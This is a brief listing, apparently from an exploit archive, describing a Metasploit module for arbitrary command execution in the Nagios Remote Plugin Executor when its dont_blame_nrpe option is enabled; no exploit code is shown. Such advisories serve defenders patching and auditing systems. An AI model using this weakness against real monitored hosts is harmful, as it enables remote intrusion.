Nagios Remote Plugin Executor Arbitrary Command Execution

Nagios Remote Plugin Executor Arbitrary Command Execution
Posted Apr 12, 2013
Authored by Rudolph Pereir | Site metasploit.com

The Nagios Remote Plugin Executor (NRPE) is installed to allow a central Nagios server to actively poll information from the hosts it monitors. NRPE has a configuration option dont_blame_nrpe which enables command-line arguments to be provided remote plugins. When this option is enabled, even when NRPE makes an effort to sanitize arguments to prevent command execution, it is possible to execute arbitrary commands.
